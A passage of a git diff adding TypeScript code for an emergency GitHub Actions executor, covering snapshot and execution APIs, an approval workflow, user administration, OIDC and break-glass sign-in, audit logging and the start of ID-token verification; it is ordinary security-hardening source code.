name: binding.name, secret: binding.secret, keys: binding.keys } : null, secretBindingProblem: problem ?? null, allowEgress: config.allowEgress, approvalPolicy: config.approval }); + }, + async verifySnapshot(p: Principal, id: string) { + const s = store.get(id); + if (!s || !snapshotVisible(p, s.record)) return err(404, "No such snapshot"); + const problems = await store.verifyStored(id, now()); + return json(200, { ok: problems.length === 0, problems }); + }, + async deleteSnapshot(p: Principal, id: string) { + const s = store.get(id); + if (!s || !snapshotVisible(p, s.record)) return err(404, "No such snapshot"); + const own = s.record.preparedBy?.id === p.user.id; + if (!(own && has(p, "snapshots.delete-own")) && !has(p, "snapshots.delete-any")) return denied(p, "delete-snapshot", own ? "This needs the snapshots.delete-own permission" : "Only its preparer or an administrator can delete a snapshot", 403, { snapshot: id }); + for (const meta of store.listExecutions().filter((m) => m.snapshotId === id)) { + const st = await status(meta); + if (st.job.state === "running" || st.job.state === "pending") return err(409, "An execution of this snapshot is still running"); + } + store.delete(id); + audit.write({ action: "snapshot-deleted", by: actor(p), snapshot: id }); + return json(200, { deleted: id }); + }, + async listExecutions(p: Principal) { + const metas = store.listExecutions().filter((m) => executionVisible(p, m)).slice(0, 50); + const out = []; + for (const meta of metas) { + try { + const s = await status(meta); + out.push({ meta, job: s.job, status: s.view.status, reason: s.view.reason }); + } catch (error) { + out.push({ meta, job: { state: "missing" }, status: "error", reason: (error as Error).message }); + } + } + return json(200, { executions: out }); + }, + async createExecution(p: Principal, r: ApiRequest) { + const body = parseJson(r) as Record; + const snapshotId = String(body.snapshotId ?? ""); + // H1: executability is the executor's own verdict over the packaged files, never the manifest's claim. + const s = await store.checked(snapshotId); + if (!s || !snapshotVisible(p, s.record)) return err(404, "No such snapshot"); + // H2: a restricted snapshot runs only for its preparer. + if (s.record.visibility === "restricted" && s.record.preparedBy?.id !== p.user.id) return denied(p, "create-execution", "A restricted snapshot can be run only by its preparer", 403, { snapshot: snapshotId }); + const problems: string[] = []; + if (Date.parse(s.record.expiresAt) <= now().getTime()) problems.push("The snapshot has expired"); + if (!s.record.executable) problems.push("The executor's validation of the packaged files found errors or mismatches, so the snapshot is not executable"); + const workflow = String(body.workflow ?? ""); + if (!s.manifest.entryWorkflows.includes(workflow)) problems.push(`${workflow || "(none)"} is not an entry workflow of this snapshot`); + const specs = s.manifest.requirements.inputs[workflow] ?? {}; + const inputs = stringRecord(body.inputs, "inputs", problems); + for (const k of Object.keys(inputs)) if (!(k in specs)) problems.push(`Input ${k} is not declared by ${workflow}`); + for (const [k, spec] of Object.entries(specs)) if (spec.required && !(k in inputs) && spec.default === undefined) problems.push(`Input ${k} is required`); + const variables = stringRecord(body.variables, "variables", problems); + const neededVars = s.manifest.requirements.variables.map((v) => v.name); + for (const k of Object.keys(variables)) if (!neededVars.includes(k) || !VAR_NAME.test(k)) problems.push(`Variable ${k} is not used by this snapshot`); + for (const k of neededVars) if (!(k in variables)) problems.push(`Variable ${k} is required`); + // C1: the Secret and its keys come only from the snapshot's binding. + if (body.secretName !== undefined && body.secretName !== "") problems.push("secretName can't be chosen: the Secret comes from the snapshot's binding, set by a cluster administrator"); + const resolved = resolveSecret(snapshotId, s.manifest.requirements.secrets.map((x) => x.name)); + if (resolved.problem) problems.push(resolved.problem); + // C2: isolated by default; egress only where an administrator enabled it. "github-blocked" no longer exists. + let network: NetworkMode | null = null; + if (body.network === undefined || body.network === "isolated") network = "isolated"; + else if (body.network === "egress") { + if (config.allowEgress) network = "egress"; + else problems.push("Egress mode is disabled (chart value network.allowEgressMode)"); + } else if (body.network === "github-blocked") problems.push('"github-blocked" was removed: it blocked only GitHub\'s hostnames and was not isolated. Use "isolated", or "egress" where enabled'); + else problems.push('network must be "isolated" or "egress"'); + if (problems.length) return err(422, "Execution rejected", problems); + + const id = randomBytes(8).toString("hex"); + const visibility = s.record.visibility ?? "shared"; + const trigger = config.approval.requireFor; + const reasons = [ + ...(trigger.includes("all") ? ["Every execution needs approval (approval.requireFor: all)"] : []), + ...(trigger.includes("secrets") && resolved.secret ? [`It receives ${resolved.secret.keys.join(", ")} from Secret ${resolved.secret.name} (binding ${resolved.secret.binding})`] : []), + ...(trigger.includes("egress") && network === "egress" ? ["It runs in egress mode, with network access"] : []), + ...(trigger.includes("restricted") && visibility === "restricted" ? ["Its snapshot is restricted"] : []), + ]; + const digest = requestDigest({ id, snapshotId, workflow, inputs, variables, network: network!, secret: resolved.secret, initiatedBy: p.user.id }); + const meta: ExecutionMeta = decide( + { + id, + snapshotId, + snapshotName: s.record.name, + snapshotVersion: s.record.version, + workflow, + inputs, + variables, + network: network!, + createdAt: now().toISOString(), + jobName: jobName(id), + preparedBy: s.record.preparedBy ?? null, + initiatedBy: actor(p), + visibility, + state: reasons.length ? "awaiting-approval" : "approved", + ...(reasons.length ? { approval: { reasons, requestDigest: digest, expiresAt: new Date(now().getTime() + config.approval.ttlMinutes * 60_000).toISOString() } } : {}), + }, + actor(p), + "requested", + reasons.length ? `Needs approval: ${reasons.join("; ")}` : `No approval required by the policy (${trigger.join(", ") || "none"})`, + ); + if (reasons.length) { + store.saveExecution(meta); + audit.write({ action: "execution-requested", execution: id, by: actor(p), snapshot: snapshotId, workflow, requestDigest: digest, approvalReasons: reasons, inputs: Object.keys(inputs) }); + return json(202, { execution: meta }); + } + // Not started (a cluster check refused it): nothing is kept, as before H2. + return start(meta, actor(p)); + }, + async getExecution(p: Principal, id: string) { + const meta = store.getExecution(id); + if (!meta || !executionVisible(p, meta)) return err(404, "No such execution"); + return json(200, await status(meta)); + }, + async approveExecution(p: Principal, id: string, r: ApiRequest) { + const meta = store.getExecution(id); + if (!meta || !executionVisible(p, meta)) return err(404, "No such execution"); + const forbidden = need(p, "executions.approve", "approve-execution", { execution: id }); + if (forbidden) return forbidden; + const body = parseJson(r) as { decision?: unknown; requestDigest?: unknown; comment?: unknown }; + if (body.decision !== "approve" && body.decision !== "reject") return err(422, 'decision must be "approve" or "reject"'); + const comment = typeof body.comment === "string" ? body.comment.slice(0, 500) : ""; + if (stateOf(meta) !== "awaiting-approval" || !meta.approval) return err(409, `This execution is ${stateOf(meta)}, not awaiting approval`); + if (config.approval.separationOfDuties && (meta.initiatedBy?.id === p.user.id || meta.preparedBy?.id === p.user.id)) { + return denied(p, "approve-execution", "Separation of duties: you can't approve an execution you started or whose snapshot you prepared", 403, { execution: id }); + } + if (body.requestDigest !== meta.approval.requestDigest) { + audit.write({ action: "approval-mismatch", execution: id, by: actor(p), presented: typeof body.requestDigest === "string" ? body.requestDigest.slice(0, 64) : null, expected: meta.approval.requestDigest }); + return err(409, "This approval was given for a different request: the digest you reviewed is not this execution's"); + } + if (Date.parse(meta.approval.expiresAt) <= now().getTime()) { + store.saveExecution(decide({ ...meta, state: "invalidated" }, actor(p), "invalidated", "The approval request expired")); + return err(409, "The approval request has expired; the initiator must request the execution again"); + } + const current = await currentDigest(meta); + if (current.digest !== meta.approval.requestDigest) { + const reason = current.problem ?? "What the execution would run changed since it was requested (its Secret binding)"; + store.saveExecution(decide({ ...meta, state: "invalidated" }, actor(p), "invalidated", reason)); + audit.write({ action: "approval-invalidated", execution: id, by: actor(p), reason }); + return err(409, "The approval request is no longer valid", [reason]); + } + const approve = body.decision === "approve"; + const decided: ExecutionMeta = decide( + { ...meta, state: approve ? "approved" : "rejected", approval: { ...meta.approval, decision: approve ? "approved" : "rejected", decidedBy: actor(p), decidedAt: now().toISOString(), comment, expiresAt: new Date(now().getTime() + config.approval.ttlMinutes * 60_000).toISOString() } }, + actor(p), + approve ? "approved" : "rejected", + comment || (approve ? "Approved" : "Rejected"), + ); + store.saveExecution(decided); + audit.write({ action: approve ? "execution-approved" : "execution-rejected", execution: id, by: actor(p), initiatedBy: meta.initiatedBy, requestDigest: meta.approval.requestDigest, comment }); + if (!approve) return json(200, { execution: decided }); + // Started at once; if a cluster check refuses now, the approval stands and the initiator can start it later. + const started = await start(decided, actor(p)); + return started.status === 201 ? started : json(200, { execution: decided, startProblem: started.body }); + }, + async startExecution(p: Principal, id: string) { + const meta = store.getExecution(id); + if (!meta || !executionVisible(p, meta)) return err(404, "No such execution"); + const forbidden = need(p, "executions.create", "start-execution", { execution: id }); + if (forbidden) return forbidden; + if (meta.initiatedBy?.id !== p.user.id) return denied(p, "start-execution", "Only the execution's initiator can start it", 403, { execution: id }); + if (stateOf(meta) !== "approved" || !meta.approval?.decidedBy) return err(409, `This execution is ${stateOf(meta)}: only an approved execution can be started`); + if (Date.parse(meta.approval.expiresAt) <= now().getTime()) { + store.saveExecution(decide({ ...meta, state: "invalidated" }, actor(p), "invalidated", "The approval expired before the execution started")); + return err(409, "The approval has expired; request the execution again"); + } + const current = await currentDigest(meta); + if (current.digest !== meta.approval.requestDigest) { + const reason = current.problem ?? "What the execution would run changed since it was approved (its Secret binding)"; + store.saveExecution(decide({ ...meta, state: "invalidated" }, actor(p), "invalidated", reason)); + audit.write({ action: "approval-invalidated", execution: id, by: actor(p), reason }); + return err(409, "The approval is no longer valid", [reason]); + } + return start(meta, actor(p)); + }, + async stopExecution(p: Principal, id: string) { + const meta = store.getExecution(id); + if (!meta || !executionVisible(p, meta)) return err(404, "No such execution"); + const own = meta.initiatedBy?.id === p.user.id; + if (!(own && has(p, "executions.cancel-own")) && !has(p, "executions.cancel-any")) return denied(p, "stop-execution", "Only its initiator or an administrator can stop an execution", 403, { execution: id }); + if (stateOf(meta) === "awaiting-approval" || stateOf(meta) === "approved") { + store.saveExecution(decide({ ...meta, state: "cancelled" }, actor(p), "cancelled", "Cancelled before it started")); + } else await kube.deleteJob(meta.jobName); + audit.write({ action: "execution-stopped", execution: id, by: actor(p) }); + return json(200, { stopped: id }); + }, + + // ---- administration ----------------------------------------------------------------------------------------- + + listUsers() { + return json(200, { users: users.users().map((u) => ({ ...u, effectiveRoles: users.rolesOf(u), pinnedRoles: users.pinnedRoles(u), sessions: users.sessionsOf(u.id).length })), roles: ROLES }); + }, + setRoles(p: Principal, id: string, r: ApiRequest) { + if (!USER_ID.test(id) || !users.user(id)) return err(404, "No such user"); + if (id === p.user.id) return denied(p, "set-roles", "You can't change your own roles", 403, { user: id }); + const body = parseJson(r) as { roles?: unknown }; + if (!Array.isArray(body.roles) || !body.roles.every(isRole)) return err(422, `roles must be a list of ${ROLES.join(", ")}`); + const before = users.user(id)!; + const updated = users.setRoles(id, body.roles, p.user.id)!; + audit.write({ action: "roles-changed", by: actor(p), user: { id, name: updated.name }, before: before.roles, after: updated.roles }); + return json(200, { user: { ...updated, effectiveRoles: users.rolesOf(updated), pinnedRoles: users.pinnedRoles(updated) } }); + }, + setDisabled(p: Principal, id: string, disabled: boolean) { + if (!USER_ID.test(id) || !users.user(id)) return err(404, "No such user"); + if (id === p.user.id) return denied(p, disabled ? "disable-user" : "enable-user", "You can't disable or enable yourself", 403, { user: id }); + const updated = users.setDisabled(id, disabled, p.user.id)!; + audit.write({ action: disabled ? "user-disabled" : "user-enabled", by: actor(p), user: { id, name: updated.name } }); + return json(200, { user: updated }); + }, + revokeSessions(p: Principal, id: string) { + if (!USER_ID.test(id) || !users.user(id)) return err(404, "No such user"); + const n = users.revokeUser(id); + audit.write({ action: "sessions-revoked", by: actor(p), user: { id }, sessions: n }); + return json(200, { revoked: n }); + }, + listBindings() { + const { bindings, problems } = deps.loadBindings(); + const state = deps.bindingState.all(); + return json(200, { bindings: bindings.map((b) => ({ ...b, suspension: state[b.name] ?? null })), problems }); + }, + setBinding(p: Principal, name: string, r: ApiRequest) { + const { bindings } = deps.loadBindings(); + if (!bindings.some((b) => b.name === name)) return err(404, "No such binding: bindings are created in the chart's values by a cluster administrator"); + const body = parseJson(r) as { suspended?: unknown; reason?: unknown }; + if (typeof body.suspended !== "boolean") return err(422, "suspended must be true or false"); + const reason = typeof body.reason === "string" ? body.reason.trim().slice(0, 500) : ""; + if (reason.length < 5) return err(422, "A reason is required"); + deps.bindingState.set(name, { suspended: body.suspended, by: actor(p), at: now().toISOString(), reason }); + audit.write({ action: body.suspended ? "binding-suspended" : "binding-resumed", by: actor(p), binding: name, reason }); + return json(200, { binding: name, suspended: body.suspended }); + }, + }; + + // ---- sign-in ---------------------------------------------------------------------------------------------------- + + const principalView = (p: Principal) => ({ + user: { id: p.user.id, name: p.user.name, email: p.user.email, kind: p.user.kind, issuer: p.user.issuer, subject: p.user.subject }, + roles: p.roles, + permissions: [...permissionsOf(p.roles)].sort(), + session: { method: p.session.method, createdAt: p.session.createdAt, expiresAt: p.session.expiresAt }, + }); + const sessionCookie = (token: string, expiresAt: string) => setCookie(SESSION_COOKIE, token, { sameSite: "Strict", maxAge: Math.max(0, Math.floor((Date.parse(expiresAt) - now().getTime()) / 1000)) }); + const clearSession = setCookie(SESSION_COOKIE, "", { sameSite: "Strict", maxAge: 0 }); + + async function login(r: ApiRequest): Promise { + const provider = deps.auth.provider; + if (!provider) return err(404, "Single sign-on is not configured on this executor"); + const returnTo = r.query?.get("return") ?? "#/emergency"; + let url: string; + let binding: string; + try { + const begun = await provider.begin(); + url = begun.url; + binding = users.savePending(begun.pending, RETURN_TO.test(returnTo) ? returnTo : "#/emergency"); + } catch (error) { + audit.write({ action: "sign-in-failed", stage: "begin", reason: (error as Error).message }); + return redirect(uiUrl("#/emergency/sign-in-failed")); + } + return redirect(url, [setCookie(LOGIN_COOKIE, binding, { sameSite: "Lax", maxAge: 600 })]); + } + + async function callback(r: ApiRequest): Promise { + const provider = deps.auth.provider; + if (!provider) return err(404, "Single sign-on is not configured on this executor"); + const clearLogin = setCookie(LOGIN_COOKIE, "", { sameSite: "Lax", maxAge: 0 }); + const pending = users.takePending(cookies(r.headers.cookie)[LOGIN_COOKIE]); + const fail = (reason: string) => { + audit.write({ action: "sign-in-failed", stage: "callback", reason }); + return redirect(uiUrl("#/emergency/sign-in-failed"), [clearLogin]); + }; + if (!pending) return fail("No sign-in in progress in this browser (missing, used or expired sign-in cookie)"); + let identity; + try { + identity = await provider.complete(r.query ?? new URLSearchParams(), pending.pending); + } catch (error) { + return fail((error as Error).message); + } + const user = users.signedIn(identity); + if (user.disabled) return fail(`${user.name} (${user.id}) is disabled`); + const { token, record } = users.createSession(user, "oidc"); + audit.write({ action: "signed-in", by: { id: user.id, name: user.name }, method: "oidc", issuer: identity.issuer, roles: users.rolesOf(user) }); + return redirect(uiUrl(pending.returnTo), [clearLogin, sessionCookie(token, record.expiresAt)]); + } + + function breakGlass(r: ApiRequest): ApiResponse { + if (!deps.auth.breakGlass) return err(404, "Break-glass sign-in is not enabled"); + const body = parseJson(r) as { account?: unknown; credential?: unknown; reason?: unknown }; + const account = typeof body.account === "string" ? body.account : ""; + const reason = typeof body.reason === "string" ? body.reason.trim().slice(0, 500) : ""; + if (reason.length < 10) return err(422, "Break-glass sign-in needs a reason (at least 10 characters); it is audited"); + const result = users.breakGlass(account, typeof body.credential === "string" ? body.credential : ""); + if (!result.user) { + audit.write({ action: "break-glass-failed", account: account.slice(0, 64), reason: result.problem }); + return err(401, result.problem!); + } + if (result.user.disabled) return denied(undefined, "break-glass", `${result.user.name} is disabled`, 401); + const { token, record } = users.createSession(result.user, "break-glass", reason); + audit.write({ action: "signed-in", by: { id: result.user.id, name: result.user.name }, method: "break-glass", reason, roles: users.rolesOf(result.user), expiresAt: record.expiresAt }); + return json(200, { signedIn: true, expiresAt: record.expiresAt }, { "Set-Cookie": [sessionCookie(token, record.expiresAt)] }); + } + + // ---- routing ---------------------------------------------------------------------------------------------------- + + return async function handle(r: ApiRequest): Promise { + const path = r.path.replace(/\/+$/, ""); + const m405 = () => err(405, "Method not allowed"); + try { + if (path === "health") return r.method === "GET" ? json(200, { available: true, signIn: { oidc: deps.auth.provider ? { label: deps.auth.provider.label } : null, breakGlass: deps.auth.breakGlass } }) : m405(); + if (path === "auth/login") return r.method === "GET" ? login(r) : m405(); + if (path === "auth/callback") return r.method === "GET" ? callback(r) : m405(); + // Every other route is an API call from the page: it must say so (CSRF), and carry no bearer token. + if (r.headers[CSRF_HEADER] !== "1") return err(403, `Missing the ${CSRF_HEADER} header`); + if (r.headers.authorization) return err(401, "The shared operator token no longer authorizes API calls (security review H2): sign in, or use a break-glass account"); + const size = r.body?.length ?? 0; + if (size > (path === "snapshots" && r.method === "POST" ? MAX_SNAPSHOT_BODY : MAX_SMALL_BODY)) return err(413, "Request body too large"); + if (path === "auth/break-glass") return r.method === "POST" ? breakGlass(r) : m405(); + + const p = users.principal(cookies(r.headers.cookie)[SESSION_COOKIE]); + if (!p) return denied(undefined, `${r.method} ${path.split("/").slice(0, 2).join("/")}`, "No valid session (none, expired, revoked, or the user is disabled)", 401); + if (path === "auth/session") return r.method === "GET" ? json(200, principalView(p)) : m405(); + if (path === "auth/logout") { + if (r.method !== "POST") return m405(); + users.revokeSession(p.sessionHash); + audit.write({ action: "signed-out", by: actor(p) }); + return json(200, { signedOut: true }, { "Set-Cookie": [clearSession] }); + } + + const perm = (perm: Permission, action: string, f: () => ApiResponse | Promise) => need(p, perm, action) ?? f(); + let m: RegExpExecArray | null; + if (path === "snapshots") return r.method === "GET" ? perm("snapshots.read", "list-snapshots", () => handlers.listSnapshots(p)) : r.method === "POST" ? perm("snapshots.create", "upload-snapshot", () => handlers.putSnapshot(p, r)) : m405(); + if ((m = /^snapshots\/([0-9a-f]{64})$/.exec(path))) { + const id = m[1]!; + return r.method === "GET" ? perm("snapshots.read", "read-snapshot", () => handlers.getSnapshot(p, id)) : r.method === "DELETE" ? perm("snapshots.read", "delete-snapshot", () => handlers.deleteSnapshot(p, id)) : m405(); + } + if ((m = /^snapshots\/([0-9a-f]{64})\/verify$/.exec(path))) { + const id = m[1]!; + return r.method === "POST" ? perm("snapshots.verify", "verify-snapshot", () => handlers.verifySnapshot(p, id)) : m405(); + } + if (path === "executions") return r.method === "GET" ? perm("executions.read", "list-executions", () => handlers.listExecutions(p)) : r.method === "POST" ? perm("executions.create", "create-execution", () => handlers.createExecution(p, r)) : m405(); + if ((m = /^executions\/([0-9a-f]{16})$/.exec(path))) { + const id = m[1]!; + return r.method === "GET" ? perm("executions.read", "read-execution", () => handlers.getExecution(p, id)) : r.method === "DELETE" ? perm("executions.read", "stop-execution", () => handlers.stopExecution(p, id)) : m405(); + } + if ((m = /^executions\/([0-9a-f]{16})\/(approve|start)$/.exec(path))) { + const [id, op] = [m[1]!, m[2]!]; + if (r.method !== "POST") return m405(); + return op === "approve" ? perm("executions.read", "approve-execution", () => handlers.approveExecution(p, id, r)) : perm("executions.read", "start-execution", () => handlers.startExecution(p, id)); + } + if (path === "admission-check") return r.method === "GET" ? perm("checks.read", "read-admission-check", () => json(200, admission.status())) : r.method === "POST" ? perm("checks.run", "run-admission-check", async () => json(200, await admission.run())) : m405(); + if (path === "network-check") return r.method === "GET" ? perm("checks.read", "read-network-check", () => json(200, networkView())) : r.method === "POST" ? perm("checks.run", "run-network-check", async () => (await networkCheck.run(), json(200, networkView()))) : m405(); + if (path === "admin/users") return r.method === "GET" ? perm("admin.users", "list-users", () => handlers.listUsers()) : m405(); + if ((m = /^admin\/users\/([^/]+)\/(roles|disable|enable|revoke-sessions)$/.exec(path))) { + const [id, op] = [m[1]!, m[2]!]; + if (op === "roles") return r.method === "PUT" ? perm("admin.users", "set-roles", () => handlers.setRoles(p, id, r)) : m405(); + if (r.method !== "POST") return m405(); + if (op === "revoke-sessions") return perm("admin.sessions", "revoke-sessions", () => handlers.revokeSessions(p, id)); + return perm("admin.users", `${op}-user`, () => handlers.setDisabled(p, id, op === "disable")); + } + if (path === "admin/bindings") return r.method === "GET" ? perm("admin.bindings", "list-bindings", () => handlers.listBindings()) : m405(); + if ((m = /^admin\/bindings\/([^/]+)$/.exec(path))) { + const name = decodeURIComponent(m[1]!); + if (r.method === "PUT") return perm("admin.bindings", "set-binding", () => handlers.setBinding(p, name, r)); + if (r.method === "POST" || r.method === "DELETE") return perm("admin.bindings", "change-binding", () => err(405, "Bindings are created and changed in the chart's values by a cluster administrator; the API can only suspend or resume them")); + return m405(); + } + if (path === "admin/audit") return r.method === "GET" ? perm("admin.audit", "read-audit", () => json(200, { entries: audit.recent(Math.min(1000, Number(r.query?.get("limit") ?? 200) || 200)) })) : m405(); + return err(404, "Not found"); + } catch (error) { + if (error instanceof RequestError) return err(error.status, error.message); + audit.write({ action: "error", path, message: (error as Error).message }); + return err(502, (error as Error).message); + } + }; +} + +class RequestError extends Error { + readonly status: number; + constructor(status: number, message: string) { + super(message); + this.status = status; + } +} + +function stringRecord(v: unknown, what: string, problems: string[]): Record { + if (v === undefined || v === null) return {}; + if (typeof v !== "object" || Array.isArray(v)) { + problems.push(`${what} must be an object of strings`); + return {}; + } + const out: Record = {}; + for (const [k, x] of Object.entries(v)) { + if (typeof x !== "string" || x.length > 4096 || k.length > 100) problems.push(`${what}.${k} must be a string of at most 4096 characters`); + else out[k] = x; + } + return out; +} + +function jobState(job: K8sJob | undefined): { state: ExecutionStatus["job"]["state"]; reason?: string } { + if (!job) return { state: "missing" }; + const failed = job.status?.conditions?.find((c) => c.type === "Failed" && c.status === "True"); + if (failed) return { state: "failed", reason: [failed.reason, failed.message].filter(Boolean).join(": ") }; + if (job.status?.conditions?.some((c) => c.type === "Complete" && c.status === "True") || job.status?.succeeded) return { state: "succeeded" }; + if (job.status?.failed) return { state: "failed" }; + return { state: job.status?.active ? "running" : "pending" }; +} diff --git a/deploy/emergency/executor/audit.ts b/deploy/emergency/executor/audit.ts new file mode 100644 index 0000000..8ba0c5c --- /dev/null +++ b/deploy/emergency/executor/audit.ts @@ -0,0 +1,39 @@ +// The executor's audit log (security review H2): one JSON line per security-relevant event, attributed to the +// authenticated identity that caused it, written to the executor's volume (/audit/.jsonl, append-only +// from the API's point of view) and to stdout for the cluster's log collection. Never contains secret values, +// session tokens, event keys or the GitHub token. +import { appendFileSync, existsSync, mkdirSync, readdirSync, readFileSync } from "node:fs"; +import { join } from "node:path"; + +export type AuditEntry = { at: string; action: string; [k: string]: unknown }; + +export function createAuditLog(dataDir: string, deps: { now?: () => Date; stdout?: (line: string) => void } = {}) { + const dir = join(dataDir, "audit"); + mkdirSync(dir, { recursive: true, mode: 0o700 }); + const now = deps.now ?? (() => new Date()); + const stdout = deps.stdout ?? ((line: string) => console.log(line)); + return { + write(entry: Record): void { + const at = now().toISOString(); + const line = JSON.stringify({ at, ...entry }); + appendFileSync(join(dir, `${at.slice(0, 7)}.jsonl`), `${line}\n`, { mode: 0o600 }); + stdout(JSON.stringify({ audit: true, ...JSON.parse(line) })); + }, + /** The most recent entries, newest first. */ + recent(limit = 200): AuditEntry[] { + const out: AuditEntry[] = []; + for (const f of readdirSync(dir).filter((f) => /^\d{4}-\d{2}\.jsonl$/.test(f)).sort().reverse()) { + const p = join(dir, f); + if (!existsSync(p)) continue; + const lines = readFileSync(p, "utf8").split("\n").filter(Boolean).reverse(); + for (const l of lines) { + out.push(JSON.parse(l) as AuditEntry); + if (out.length >= limit) return out; + } + } + return out; + }, + }; +} + +export type AuditLog = ReturnType; diff --git a/deploy/emergency/executor/auth/config.ts b/deploy/emergency/executor/auth/config.ts new file mode 100644 index 0000000..9186844 --- /dev/null +++ b/deploy/emergency/executor/auth/config.ts @@ -0,0 +1,67 @@ +// The executor's sign-in, session and approval configuration (security review H2), rendered by the chart into a +// ConfigMap (charts/gha-emergency/templates/auth.yaml) and read once at startup. Invalid configuration stops the +// executor rather than weakening anything: unknown roles, a non-HTTPS issuer (unless explicitly allowed for local +// development), an approval policy that names nothing known. +import type { ApprovalPolicy, ApprovalTrigger } from "../api.ts"; +import { isRole, type Role } from "./roles.ts"; + +export type AuthConfig = { + oidc: { issuer: string; clientId: string; redirectUri: string; scopes?: string[]; algorithms?: string[]; label?: string; clientSecretFile?: string; allowInsecureHttp?: boolean } | null; + sessions: { maxHours: number; idleMinutes: number; breakGlassMinutes: number }; + initialAdministrators: { issuer: string; subject: string }[]; + breakGlass: { accounts: { name: string; roles: Role[] }[]; credentialsDir: string }; + approval: ApprovalPolicy; +}; + +const TRIGGERS: ApprovalTrigger[] = ["secrets", "egress", "restricted", "all"]; +const ACCOUNT = /^[a-z0-9][a-z0-9-]{0,62}$/; + +export function parseAuthConfig(text: string): AuthConfig { + const raw = JSON.parse(text) as Record; // eslint-disable-line @typescript-eslint/no-explicit-any -- validated field by field below + const fail = (m: string): never => { + throw new Error(`Invalid sign-in configuration: ${m}`); + }; + const num = (v: unknown, d: number, min: number, max: number, what: string) => { + const n = v === undefined || v === null ? d : Number(v); + if (!Number.isFinite(n) || n < min || n > max) fail(`${what} must be between ${min} and ${max}`); + return n; + }; + let oidc: AuthConfig["oidc"] = null; + if (raw.oidc && raw.oidc.issuer) { + const o = raw.oidc; + for (const k of ["issuer", "clientId", "redirectUri"]) if (typeof o[k] !== "string" || !o[k]) fail(`oidc.${k} is required`); + const insecure = o.allowInsecureHttp === true; + for (const k of ["issuer", "redirectUri"]) { + let u: URL; + try { + u = new URL(o[k]); + } catch { + return fail(`oidc.${k} is not a URL`); + } + if (u.protocol !== "https:" && !(insecure && u.protocol === "http:")) fail(`oidc.${k} must be HTTPS`); + } + if (!/\/api\/emergency\/auth\/callback$/.test(new URL(o.redirectUri).pathname)) fail("oidc.redirectUri must end with api/emergency/auth/callback"); + oidc = { issuer: o.issuer, clientId: o.clientId, redirectUri: o.redirectUri, scopes: o.scopes, algorithms: o.algorithms, label: o.label || undefined, clientSecretFile: o.clientSecretFile || undefined, allowInsecureHttp: insecure }; + if (oidc.scopes && !oidc.scopes.includes("openid")) fail('oidc.scopes must include "openid"'); + } + const admins = (raw.initialAdministrators ?? []) as { issuer?: unknown; subject?: unknown }[]; + if (!Array.isArray(admins) || admins.some((a) => typeof a?.issuer !== "string" || typeof a?.subject !== "string" || !a.subject)) fail("initialAdministrators entries need issuer and subject"); + const accounts = (raw.breakGlass?.accounts ?? []) as { name?: unknown; roles?: unknown }[]; + if (!Array.isArray(accounts)) fail("breakGlass.accounts must be a list"); + for (const a of accounts) { + if (typeof a.name !== "string" || !ACCOUNT.test(a.name)) fail(`break-glass account name ${JSON.stringify(a.name)} is not a lowercase name`); + if (!Array.isArray(a.roles) || !a.roles.every(isRole)) fail(`break-glass account ${String(a.name)} needs roles from viewer, operator, approver, administrator`); + if ((a.roles as Role[]).includes("administrator")) fail(`break-glass account ${String(a.name)} can't be an administrator: roles are managed by signed-in administrators`); + } + if (new Set(accounts.map((a) => a.name)).size !== accounts.length) fail("break-glass account names must be unique"); + const ap = raw.approval ?? {}; + const requireFor = (ap.requireFor ?? ["secrets", "egress"]) as ApprovalTrigger[]; + if (!Array.isArray(requireFor) || !requireFor.every((t) => TRIGGERS.includes(t))) fail(`approval.requireFor must list ${TRIGGERS.join(", ")}`); + return { + oidc, + sessions: { maxHours: num(raw.sessions?.maxHours, 8, 1, 24 * 7, "sessions.maxHours"), idleMinutes: num(raw.sessions?.idleMinutes, 60, 5, 24 * 60, "sessions.idleMinutes"), breakGlassMinutes: num(raw.breakGlass?.sessionMinutes, 60, 5, 240, "breakGlass.sessionMinutes") }, + initialAdministrators: admins as { issuer: string; subject: string }[], + breakGlass: { accounts: accounts as { name: string; roles: Role[] }[], credentialsDir: String(raw.breakGlass?.credentialsDir ?? "/etc/gha-emergency") }, + approval: { requireFor, separationOfDuties: ap.separationOfDuties !== false, ttlMinutes: num(ap.ttlMinutes, 60, 5, 7 * 24 * 60, "approval.ttlMinutes") }, + }; +} diff --git a/deploy/emergency/executor/auth/jwt.ts b/deploy/emergency/executor/auth/jwt.ts new file mode 100644 index 0000000..4b19101 --- /dev/null +++ b/deploy/emergency/executor/auth/jwt.ts @@ -0,0 +1,95 @@ +// Verification of OpenID Connect ID tokens (JWS compact serialization, RFC 7515/7519; OpenID Connect Core 1.0 §3.1.3.7), +// with Node's crypto only. Only what an ID token from the configured issuer needs, and nothing more permissive: +// - asymmetric algorithms only (RS256/384/512, PS256/384/512, ES256/384/512), from a configured allow list; never +// "none" or HMAC (a public key must never be usable as a shared secret); +// - the key is chosen by "kid" from the issuer's JWKS and must match the algorithm's key type (and its "alg" and "use" +// when the key states them); +// - iss must equal the configured issuer, aud must contain the client ID (and azp must be the client ID when there are +// several audiences), exp, nbf and iat are checked with a small clock skew, and nonce must match the login's. +// Claims are returned only after all of that. Identity is (iss, sub); nothing else in the token is trusted for +// authorization (roles come from the executor's own records, auth/store.ts). +import { constants, createPublicKey, verify, type JsonWebKeyInput, type KeyObject } from "node:crypto"; + +export type Jwk = { kty?: string; kid?: string; use?: string; alg?: string; [k: string]: unknown }; +export type IdTokenClaims = { iss: string; sub: string; aud: string | string[]; exp: number; iat: number; nonce?: string; azp?: string; name?: string; email?: string; preferred_username?: string; [k: string]: unknown }; + +export const DEFAULT_ALGORITHMS = ["RS256", "ES256", "PS256"]; +const SUPPORTED: Record = { + RS256: { kty: "RSA", hash: "sha256" }, + RS384: { kty: "RSA", hash: "sha384" }, + RS512: { kty: "RSA", hash: "sha512" }, + PS256: { kty: "RSA", hash: "sha256", pss: true }, + PS384: { kty: "RSA", hash: "sha384", pss: true }, + PS512: { kty: "RSA", hash: "sha512", pss: true }, + ES256: { kty: "EC", hash: "sha256", ec: true }, + ES384: { kty: "EC", hash: "sha384", ec: true }, + ES512: { kty: "EC", hash: "sha512", ec: true }, +}; + +export class TokenError extends Error {} + +const b64url = /^[A-Za-z0-9_-]*$/; +function decodeJson(part: string, what: string): Record { + if (!b64url.test(part)) throw new TokenError(`The ID token's ${what} is not base64url`); + try { + const v = JSON.parse(Buffer.from(part, "base64url").toString("utf8")) as unknown; + if (typeof v !== "object" || v === null || Array.isArray(v)) throw new Error(); + return v as Record; + } catch { + throw new TokenError(`The ID token's ${what} is not a JSON object`); + } +} + +/** The key a token names, or undefined when the JWKS has none 